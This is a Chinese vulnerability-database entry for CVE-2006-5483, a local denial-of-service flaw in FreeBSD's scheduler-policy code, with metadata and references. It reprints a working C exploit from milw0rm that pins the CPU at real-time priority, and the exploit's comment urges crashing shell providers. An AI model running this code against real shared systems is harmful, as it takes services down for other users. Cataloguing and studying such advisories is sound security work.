FreeBSD Scheduler策略本地拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111274 漏洞类型 访问验证错误
发布时间 2006-10-13 更新时间 2006-10-26
CVE编号 CVE-2006-5483 CNNVD-ID CNNVD-200610-392
漏洞平台 BSD CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/2542
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-392
|漏洞详情
FreeBSD6.1的p1003_1b.c允许本地用户通过设置scheduler策略(应只能通过root设置)来引起不明拒绝服务攻击。
|漏洞EXP
/* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
   Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! 
   tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
*/
#include <sched.h>
int main(){
struct sched_param lol; 
lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
sched_setscheduler(0,SCHED_FIFO,&lol);
for(;;){}
}

// milw0rm.com [2006-10-13]
|参考资料

来源:www.freebsd.org
链接:http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/posix4/p1003_1b.c.diff?r1=1.24&r2=1.24.2.1
来源:SECUNIA
名称:22413
链接:http://secunia.com/advisories/22413
来源:MLIST
名称:[freebsd-cvs-src]20060520cvscommit:src/sys/posix4p1003_1b.c
链接:http://lists.freebsd.org/pipermail/cvs-src/2006-May/063969.html
来源:BID
名称:20517
链接:http://www.securityfocus.com/bid/20517